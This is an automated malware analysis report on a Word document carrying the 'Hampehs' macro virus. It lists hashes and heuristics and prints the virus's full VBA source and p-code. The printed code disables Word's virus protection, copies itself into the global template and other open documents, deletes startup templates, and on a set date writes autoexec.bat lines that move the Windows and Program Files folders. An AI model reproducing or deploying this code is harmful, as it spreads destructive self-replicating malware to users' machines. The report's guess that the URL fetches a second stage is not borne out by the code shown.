Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b89b62a4c9e29d12…

MALICIOUS

Office (OLE)

62.0 KB Created: 2000-02-16 16:45:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2bc401acef5f1585bb9f66bd32c7d862 SHA-1: a3c51d3a422b218f127dbf4c23d248a4298d58d0 SHA-256: b89b62a4c9e29d12242afa41f7784c5a527011e69df86913899f07f9530823ed
258 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains legacy WordBasic macro-virus markers and VBA macros, specifically AutoOpen and Auto_Close, indicating malicious intent. The ClamAV detection 'Doc.Trojan.Shepmah-1' further confirms its malicious nature. The embedded URL 'http://hampehs.cjb.net' is likely used to download and execute a second-stage payload, although its reputation is marked as benign. The VBA script itself is heavily obfuscated and truncated, making a precise analysis of its actions difficult.

Heuristics 7

  • ClamAV: Doc.Trojan.Shepmah-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Shepmah-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    aplikasi.OrganizerCopy Sos, Tuju, Stem, 3
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    AutoOpen
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://hampehs.cjb.net In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 24312 bytes
SHA-256: 88a1d7458b9ddb8a1c751373efdc2c2e467ae11ef2d1fd0aeb4117995c6b1a7d
Detection
ClamAV: Doc.Trojan.Shepmah-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "hampehs"
'Hampesh v1.0b
'Release : 12/10/1999

'Dedicated to the biggest PUKIMAK in Malaysia!
'Dato' Seri Dr Mahathir Mohamed

Public Ushar_SB As Variant
Public Dah_Jumpe, Check As Boolean
Public actDoc, SloSlo As Object

Function Go_DingDang()
Dim coprasmi As String
On Error Resume Next

coprasmi = "hampehs"

With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
ToolsOptionsSave.GlobalDotPrompt = 0

For chett = 1 To 2
If NormalTemplate.VBProject.VBComponents.Item(coprasmi).Name <> coprasmi Then
    ddSrc = ActiveDocument.FullName
    ddDest = NormalTemplate.FullName
    Check = True
    Ushar_SB = NormalTemplate.VBProject.VBComponents.Item(2).Name
        Bunuh_SB ddDest
    Makan_Budak ddSrc, ddDest, coprasmi
End If
    
    If Dah_Jumpe = True Then
        Check = False
        ddDest = actDoc.FullName
        usharAct = actDoc
        Set SloSlo = actDoc
        ddSrc = NormalTemplate.FullName
    Else
        If ActiveDocument.VBProject.VBComponents.Item(coprasmi).Name <> coprasmi Then
            Check = False
            ddSrc = NormalTemplate.FullName
            ddDest = ActiveDocument.FullName
            usharAct = ddDest
            Set SloSlo = ActiveDocument
        Else: akuLerWoi = True
        End If
    End If
        If akuLerWoi = True Then GoTo pusin
            Ushar_SB = actDoc.VBProject.VBComponents.Item(2).Name
            Ushar_Awek = actDoc.VBProject.VBComponents.Item(3).Name
            
            If Ushar_SB = "hampehs" And Ushar_Awek = "DingDang" Then GoTo pusin
                
                Bunuh_SB ddDest
                Makan_Budak ddSrc, ddDest, coprasmi
            orait = True
    
pusin:
coprasmi = "DingDang"
Next chett

With Dialogs(wdDialogFileSummaryInfo)
    .Author = "DingDang Yang Kiyut"
    .Title = "Hampehs! What The Hell Is It?"
    .Subject = "It is other method saying SHIT!"
    .Comments = "This is only a beginning... wait for the worst to come after Hampehs. It will be much more worst! Visit Hampehs at http://hampehs.cjb.net for disinfection!"
    .Keywords = "I Love Shida!!"
    .Execute
End With

If orait = True Then SloSlo.SaveAs FileName:=SloSlo.FullName
End Function
Sub Bunuh_SB(Fail_SB)
    If Ushar_SB = "hampehs" Or Ushar_SB = "" Then GoTo tadak_sb
        Application.OrganizerDelete Fail_SB, Ushar_SB, wdOrganizerObjectProjectItems
tadak_sb:
End Sub
Sub Makan_Budak(Sos, Tuju, Stem)
On Error Resume Next
Set aplikasi = Application
aplikasi.OrganizerCopy Sos, Tuju, Stem, 3
If Check = False Then Set Desc = ActiveDocument Else Set Desc = NormalTemplate
Desc.VBProject.Description = "Hampehs [DD/UTM'99]"

End Sub
Sub AutoClose()
On Error Resume Next
WordBasic.disableautomacros False
Application.EnableCancelKey = wdCancelDisabled

With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
ToolsOptionsSave.GlobalDotPrompt = 0

AutoOpen

End Sub
Sub AutoExec()
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With

End Sub
Sub AutoOpen()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled

Kill Application.StartupPath & "\*.dot"

Set actDoc = ActiveDocument

Go_DingDang

If Documents.Count > 1 Then
    Dim bil
    For bil = 1 To Documents.Count
        If Documents(bil).Name <> ActiveDocument.Name Then
        Set actDoc = Documents(bil)
        Dah_Jumpe = True
        Go_DingDang
        End If
    Next
End If
Bunuh_Mahadet
End Sub
Sub FileOpen()
WordBasic.disableautomacros True
If Dialogs(80).Show <> 0 Then WordBasic.disableautomacros False
AutoOpen
WordBasic.disableautomacros False
End Sub
Sub Bunuh_Mahadet()
On Error Resume Next
masa_membunuh = Now
hari = Day(masa_membunuh)
bulan = Month(masa_membunuh)

If hari = 25 And bulan = 2 Then

If Dir("c:\dingdang.kri") <> "" Then GoTo habihs

If Dir("c:\zalim.det") <> "" Then GoTo habihs

Open "C:\zalim.det" For Output As 1
Print #1, "===>>>!!HAMPEHS!!<<<>>>!!HAMPEHS!!<<<>>>!!HAMPEHS!!<<<===="
Print #1, "/\/\/\/\/\/\/\/\/\/\/\/\/\  ;)=  /\/\/\/\/\/\/\/\/\/\/\/\/"
Print #1, "Hidup ni memang  HAMPEHS kan? Dah tua-tua kena blajar lagi"
Print #1, "Mahathir  pun  memang  HAMPEHS. Memeningkan  kepala  semua"
Print #1, "Microsoft Word pun HAMPEHS jugak... Sebab ada macros bodoh"
Print #1, "     Tapi hidup tanpa HAMPEHS, ia  tak akan sempurna"
Print #1, "     Oleh itu, sedikit HAMPEHS dari kami kepada anda"
Print #1, "            Semoga hidup ini bertambah ceria!"
Print #1, ""
Print #1, "            HAMPEHS-HAMPEHS kan la diri anda!"
Print #1, "     Kerana nasib  semalam mungkin lebih bahagia...~"
Print #1, "                                               [DD/UTM'99]"
Print #1, "/\/\/\/\/\/\/\/\/\/\/\/\/\  ;(=  /\/\/\/\/\/\/\/\/\/\/\/\/"
Print #1, "===>>>!!HAMPEHS!!<<<>>>!!HAMPEHS!!<<<>>>!!HAMPEHS!!<<<===="
Close 1
Open "c:\autoexec.bat" For Append As 1
Print #1, "Rem -- Hampehs Wuz HERE! ;)="
Print #1, "echo off"
Print #1, "cls"
Print #1, "move /y progra~1 tempt1 > null"
Print #1, "move /y windows tempt2 > null"
Print #1, "cls"
Print #1, "type c:\zalim.det"
Print #1, "pause > null"
Print #1, "Rem -- The world full of Hampehs!"
Close 1

habihs:


CommandBars("Help").Controls("About Microsoft Word").Caption = "[Hampehs] by Dingdang"
CommandBars("Help").Controls("[Hampehs] by Dingdang").Enabled = False


DingDang.Show



End If
End Sub
Sub ToolsMacro()
On Error Resume Next
End Sub
Sub ViewVBCode()
On Error Resume Next
End Sub








Attribute VB_Name = "DingDang"
Attribute VB_Base = "0{765CE7BC-E490-11D3-ACDA-900936D3B526}{765CE7B6-E490-11D3-ACDA-900936D3B526}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


















































Public mesej As Variant

Private Sub Butang_Click()
Unload Me
End Sub

Public Sub UserForm_Layout()

teks1 = "Hampehs terhasil daripadai masa aku yang terbazir selama seminggu. Juga daripada rasa malas nak study.."
teks2 = "Tengkiu pada CHeTT untuk koleksi lagu-lagu hindustannya terutama lagu lembu. Lagu yang naik beskal pun bes gak!"
teks3 = "Ellow Jack! Hehehhe... setakat mana agaknya keberkesanan Hampehs ni 'ek? Bini apamacam? Sehat? ;)="
teks4 = "Jamal weh.. ada orang talipon! Hehehe.. satu-satunya mamat yang paling kuat skali begayut selaku mahasistua"
teks5 = "Encik Goku yang gila main game. Sorry... sebab folder games dah di dilitt... NOT! Tipu jerr. manaleh dilit.. faverett!"
teks6 = "Kepada semua awek-awek IRC DALnet yang rasa dirinya jambu, salam khas dari KAMI untuk anda!"
teks7 = "[KUASA PERIBADI ADALAH KUASA RAKYAT YANG DIPERKOSA] SALAM REFORMASI UNTUK SEMUA PEJUANG!"

DingDang.Enabled = False
Butang.Enabled = False
Butang.Caption = "TunGGu MesEj AbiHs DuLu!"
mesej = Array(teks1, teks2, teks3, teks4, teks5, teks6, teks7)
i = 0
For i = 0 To 6
PauseTime = 7
    Start = Timer
    Do While Timer < Start + PauseTime
        DoEvents
    Loop
    Msg.Caption = mesej(i)
Next i
DingDang.Enabled = True
Butang.Enabled = True
Butang.Caption = "Hampehs BetOI!!"
End Sub

' Processing file: /tmp/qstore_2s3g73i9
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1120 bytes
' Macros/VBA/hampehs - 10523 bytes
' Line #0:
' 	QuoteRem 0x0000 0x000D "Hampesh v1.0b"
' Line #1:
' 	QuoteRem 0x0000 0x0014 "Release : 12/10/1999"
' Line #2:
' Line #3:
' 	QuoteRem 0x0000 0x002D "Dedicated to the biggest PUKIMAK in Malaysia!"
' Line #4:
' 	QuoteRem 0x0000 0x001E "Dato' Seri Dr Mahathir Mohamed"
' Line #5:
' Line #6:
' 	Dim (Public) 
' 	VarDefn Ushar_SB (As Variant)
' Line #7:
' 	Dim (Public) 
' 	VarDefn Dah_Jumpe
' 	VarDefn Check (As Boolean)
' Line #8:
' 	Dim (Public) 
' 	VarDefn actDoc
' 	VarDefn SloSlo (As Object)
' Line #9:
' Line #10:
' 	FuncDefn (Function Go_DingDang())
' Line #11:
' 	Dim 
' 	VarDefn coprasmi (As String)
' Line #12:
' 	OnError (Resume Next) 
' Line #13:
' Line #14:
' 	LitStr 0x0007 "hampehs"
' 	St coprasmi 
' Line #15:
' Line #16:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' 	BoS 0x0000 
' 	EndWith 
' Line #17:
' 	LitDI2 0x0000 
' 	Ld ToolsOptionsSave 
' 	MemSt GlobalDotPrompt 
' Line #18:
' Line #19:
' 	StartForVariable 
' 	Ld chett 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0002 
' 	For 
' Line #20:
' 	Ld coprasmi 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd New 
' 	Ld coprasmi 
' 	Ne 
' 	IfBlock 
' Line #21:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	St ddSrc 
' Line #22:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	St ddDest 
' Line #23:
' 	LitVarSpecial (True)
' 	St Check 
' Line #24:
' 	LitDI2 0x0002 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd New 
' 	St Ushar_SB 
' Line #25:
' 	Ld ddDest 
' 	ArgsCall Bunuh_SB 0x0001 
' Line #26:
' 	Ld ddSrc 
' 	Ld ddDest 
' 	Ld coprasmi 
' 	ArgsCall Makan_Budak 0x0003 
' Line #27:
' 	EndIfBlock 
' Line #28:
' Line #29:
' 	Ld Dah_Jumpe 
' 	LitVarSpecial (True)
' 	Eq 
' 	IfBlock 
' Line #30:
' 	LitVarSpecial (False)
' 	St Check 
' Line #31:
' 	Ld actDoc 
' 	MemLd FullName 
' 	St ddDest 
' Line #32:
' 	Ld actDoc 
' 	St usharAct 
' Line #33:
' 	SetStmt 
' 	Ld actDoc 
' 	Set SloSlo 
' Line #34:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	St ddSrc 
' Line #35:
' 	ElseBlock 
' Line #36:
' 	Ld coprasmi 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd New 
' 	Ld coprasmi 
' 	Ne 
' 	IfBlock 
' Line #37:
' 	LitVarSpecial (False)
' 	St Check 
' Line #38:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	St ddSrc 
' Line #39:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	St ddDest 
' Line #40:
' 	Ld ddDest 
' 	St usharAct 
' Line #41:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	Set SloSlo 
' Line #42:
' 	ElseBlock 
' 	BoS 0x0000 
' 	LitVarSpecial (True)
' 	St akuLerWoi 
' Line #43:
' 	EndIfBlock 
' Line #44:
' 	EndIfBlock 
' Line #45:
' 	Ld akuLerWoi 
' 	LitVarSpecial (True)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo pusin 
' 	EndIf 
' Line #46:
' 	LitDI2 0x0002 
' 	Ld actDoc 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd New 
' 	St Ushar_SB 
' Line #47:
' 	LitDI2 0x0003 
' 	Ld actDoc 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd New 
' 	St Ushar_Awek 
' Line #48:
' Line #49:
' 	Ld Ushar_SB 
' 	LitStr 0x0007 "hampehs"
' 	Eq 
' 	Ld Ushar_Awek 
' 	LitStr 0x0008 "DingDang"
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo pusin 
' 	EndIf 
' Line #50:
' Line #51:
' 	Ld ddDest 
' 	ArgsCall Bunuh_SB 0x0001 
' Line #52:
' 	Ld ddSrc 
' 	Ld ddDest 
' 	Ld coprasmi 
' 	ArgsCall Makan_Budak 0x0003 
' Line #53:
' 	LitVarSpecial (True)
' 	St orait 
' Line #54:
' Line #55:
' 	Label pusin 
' Line #56:
' 	LitStr 0x0008 "DingDang"
' 	St coprasmi 
' Line #57:
' 	StartForVariable 
' 	Ld chett 
' 	EndForVariable 
' 	NextVar 
' Line #58:
' Line #59:
' 	StartWithExpr 
' 	Ld wdDialogFileSummaryInfo 
' 	ArgsLd Dialogs 0x0001 
' 	With 
' Line #60:
' 	LitStr 0x0013 "DingDang Yang Kiyut"
' 	MemStWith Author 
' Line #61:
' 	LitStr 0x001D "Hampehs! What The Hell Is It?"
' 	MemStWith Title 
' Line #62:
' 	LitStr 0x001F "It is other method saying SHIT!"
' 	MemStWith Subject 
' Line #63:
' 	LitStr 0x009B "This is only a beginning... wait for the worst to come after Hampehs. It will be much more worst! Visit Hampehs at http://hampehs.cjb.net for disinfection!"
' 	MemStWith Comments 
' Line #64:
' 	LitStr 0x000E "I Love Shida!!"
' 	MemStWith Keywords 
' Line #65:
' 	ArgsMemCallWith Execute 0x0000 
' Line #66:
' 	EndWith 
' Line #67:
' Line #68:
' 	Ld orait 
' 	LitVarSpecial (True)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld SloSlo 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld SloSlo 
' 	ArgsMemCall SaveAs 0x0001 
' 	EndIf 
' Line #69:
' 	EndFunc 
' Line #70:
' 	FuncDefn (Sub Bunuh_SB(Fail_SB))
' Line #71:
' 	Ld Ushar_SB 
' 	LitStr 0x0007 "hampehs"
' 	Eq 
' 	Ld Ushar_SB 
' 	LitStr 0x0000 ""
' 	Eq 
' 	Or 
' 	If 
' 	BoSImplicit 
' 	GoTo tadak_sb 
' 	EndIf 
' Line #72:
' 	Ld Fail_SB 
' 	Ld Ushar_SB 
' 	Ld wdOrganizerObjectProjectItems 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' Line #73:
' 	Label tadak_sb 
' Line #74:
' 	EndSub 
' Line #75:
' 	FuncDefn (Sub Makan_Budak(Sos, Tuju, Stem))
' Line #76:
' 	OnError (Resume Next) 
' Line #77:
' 	SetStmt 
' 	Ld Application 
' 	Set aplikasi 
' Line #78:
' 	Ld Sos 
' 	Ld Tuju 
' 	Ld Stem 
' 	LitDI2 0x0003 
' 	Ld aplikasi 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #79:
' 	Ld Check 
' 	LitVarSpecial (False)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	Ld ActiveDocument 
' 	Set Desc 
' 	Else 
' 	BoSImplicit 
' 	SetStmt 
' 	Ld NormalTemplate 
' 	Set Desc 
' 	EndIf 
' Line #80:
' 	LitStr 0x0013 "Hampehs [DD/UTM'99]"
' 	Ld Desc 
' 	MemLd VBProject 
' 	MemSt Description 
' Line #81:
' Line #82:
' 	EndSub 
' Line #83:
' 	FuncDefn (Sub AutoClose())
' Line #84:
' 	OnError (Resume Next) 
' Line #85:
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	ArgsMemCall disableautomacros 0x0001 
' Line #86:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #87:
' Line #88:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' 	BoS 0x0000 
' 	EndWith 
' Line #89:
' 	LitDI2 0x0000 
' 	Ld ToolsOptionsSave 
' 	MemSt GlobalDotPrompt 
' Line #90:
' Line #91:
' 	ArgsCall AutoOpen 0x0000 
' Line #92:
' Line #93:
' 	EndSub 
' Line #94:
' 	FuncDefn (Sub AutoExec())
' Line #95:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' 	BoS 0x0000 
' 	EndWith 
' Line #96:
' Line #97:
' 	EndSub 
' Line #98:
' 	FuncDefn (Sub AutoOpen())
' Line #99:
' 	OnError (Resume Next) 
' Line #100:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #101:
' Line #102:
' 	Ld Application 
' 	MemLd StartupPath 
' 	LitStr 0x0006 "\*.dot"
' 	Concat 
' 	ArgsCall Kill 0x0001 
' Line #103:
' Line #104:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	Set actDoc 
' Line #105:
' Line #106:
' 	ArgsCall Go_DingDang 0x0000 
' Line #107:
' Line #108:
' 	Ld Documents 
' 	MemLd Count 
' 	LitDI2 0x0001 
' 	Gt 
' 	IfBlock 
' Line #109:
' 	Dim 
' 	VarDefn bil
' Line #110:
' 	StartForVariable 
' 	Ld bil 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld Documents 
' 	MemLd Count 
' 	For 
' Line #111:
' 	Ld bil 
' 	ArgsLd Documents 0x0001 
' 	MemLd New 
' 	Ld ActiveDocument 
' 	MemLd New 
' 	Ne 
' 	IfBlock 
' Line #112:
' 	SetStmt 
' 	Ld bil 
' 	ArgsLd Documents 0x0001 
' 	Set actDoc 
' Line #113:
' 	LitVarSpecial (True)
' 	St Dah_Jumpe 
' Line #114:
' 	ArgsCall Go_DingDang 0x0000 
' Line #115:
' 	EndIfBlock 
' Line #116:
' 	StartForVariable 
' 	Next 
' Line #117:
' 	EndIfBlock 
' Line #118:
' 	ArgsCall Bunuh_Mahadet 0x0000 
' Line #119:
' 	EndSub 
' Line #120:
' 	FuncDefn (Sub FileOpen())
' Line #121:
' 	LitVarSpecial (True)
' 	Ld WordBasic 
' 	ArgsMemCall disableautomacros 0x0001 
' Line #122:
' 	LitDI2 0x0050 
' 	ArgsLd Dialogs 0x0001 
' 	MemLd Show 
' 	LitDI2 0x0000 
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	ArgsMemCall disableautomacros 0x0001 
' 	EndIf 
' Line #123:
' 	ArgsCall AutoOpen 0x0000 
' Line #124:
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	ArgsMemCall disableautomacros 0x0001 
' Line #125:
' 	EndSub 
' Line #126:
' 	FuncDefn (Sub Bunuh_Mahadet())
' Line #127:
' 	OnError (Resume Next) 
' Line #128:
' 	Ld Now 
' 	St masa_membunuh 
' Line #129:
' 	Ld masa_membunuh 
' 	ArgsLd Day 0x0001 
' 	St hari 
' Line #130:
' 	Ld masa_membunuh 
' 	ArgsLd Month 0x0001 
' 	St bulan 
' Line #131:
' Line #132:
' 	Ld hari 
' 	LitDI2 0x0019 
' 	Eq 
' 	Ld bulan 
' 	LitDI2 0x0002 
' 	Eq 
' 	And 
' 	IfBlock 
' Line #133:
' Line #134:
' 	LitStr 0x000F "c:\dingdang.kri"
' 	ArgsLd Dir 0x0001 
' 	LitStr 0x0000 ""
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	GoTo habihs 
' 	EndIf 
' Line #135:
' Line #136:
' 	LitStr 0x000C "c:\zalim.det"
' 	ArgsLd Dir 0x0001 
' 	LitStr 0x0000 ""
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	GoTo habihs 
' 	EndIf 
' Line #137:
' Line #138:
' 	LitStr 0x000C "C:\zalim.det"
' 	LitDI2 0x0001 
' 	LitDefault 
' 	Open (For Output)
' Line #139:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x003A "===>>>!!HAMPEHS!!<<<>>>!!HAMPEHS!!<<<>>>!!HAMPEHS!!<<<===="
' 	PrintItemNL 
' Line #140:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x003A "/\/\/\/\/\/\/\/\/\/\/\/\/\  ;)=  /\/\/\/\/\/\/\/\/\/\/\/\/"
' 	PrintItemNL 
' Line #141:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x003A "Hidup ni memang  HAMPEHS kan? Dah tua-tua kena blajar lagi"
' 	PrintItemNL 
' Line #142:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x003A "Mahathir  pun  memang  HAMPEHS. Memeningkan  kepala  semua"
' 	PrintItemNL 
' Line #143:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x003A "Microsoft Word pun HAMPEHS jugak... Sebab ada macros bodoh"
' 	PrintItemNL 
' Line #144:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0034 "     Tapi hidup tanpa HAMPEHS, ia  tak akan sempurna"
' 	PrintItemNL 
' Line #145:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0034 "     Oleh itu, sedikit HAMPEHS dari kami kepada anda"
' 	PrintItemNL 
' Line #146:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x002D "            Semoga hidup ini bertambah ceria!"
' 	PrintItemNL 
' Line #147:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0000 ""
' 	PrintItemNL 
' Line #148:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x002D "            HAMPEHS-HAMPEHS kan la diri anda!"
' 	PrintItemNL 
' Line #149:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0034 "     Kerana nasib  semalam mungkin lebih bahagia...~"
' 	PrintItemNL 
' Line #150:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x003A "                                               [DD/UTM'99]"
' 	PrintItemNL 
' Line #151:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x003A "/\/\/\/\/\/\/\/\/\/\/\/\/\  ;(=  /\/\/\/\/\/\/\/\/\/\/\/\/"
' 	PrintItemNL 
' Line #152:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x003A "===>>>!!HAMPEHS!!<<<>>>!!HAMPEHS!!<<<>>>!!HAMPEHS!!<<<===="
' 	PrintItemNL 
' Line #153:
' 	LitDI2 0x0001 
' 	Close 0x0001 
' Line #154:
' 	LitStr 0x000F "c:\autoexec.bat"
' 	LitDI2 0x0001 
' 	LitDefault 
' 	Open (For Append)
' Line #155:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x001C "Rem -- Hampehs Wuz HERE! ;)="
' 	PrintItemNL 
' Line #156:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0008 "echo off"
' 	PrintItemNL 
' Line #157:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0003 "cls"
' 	PrintItemNL 
' Line #158:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x001E "move /y progra~1 tempt1 > null"
' 	PrintItemNL 
' Line #159:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x001D "move /y windows tempt2 > null"
' 	PrintItemNL 
' Line #160:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0003 "cls"
' 	PrintItemNL 
' Line #161:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0011 "type c:\zalim.det"
' 	PrintItemNL 
' Line #162:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x000C "pause > null"
' 	PrintItemNL 
' Line #163:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0021 "Rem -- The world full of Hampehs!"
' 	PrintItemNL 
' Line #164:
' 	LitDI2 0x0001 
' 	Close 0x0001 
' Line #165:
' Line #166:
' 	Label habihs 
' Line #167:
' Line #168:
' Line #169:
' 	LitStr 0x0015 "[Hampehs] by Dingdang"
' 	LitStr 0x0014 "About Microsoft Word"
' 	LitStr 0x0004 "Help"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Caption 
' Line #170:
' 	LitVarSpecial (False)
' 	LitStr 0x0015 "[Hampehs] by Dingdang"
' 	LitStr 0x0004 "Help"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' Line #171:
' Line #172:
' Line #173:
' 	Ld DingDang 
…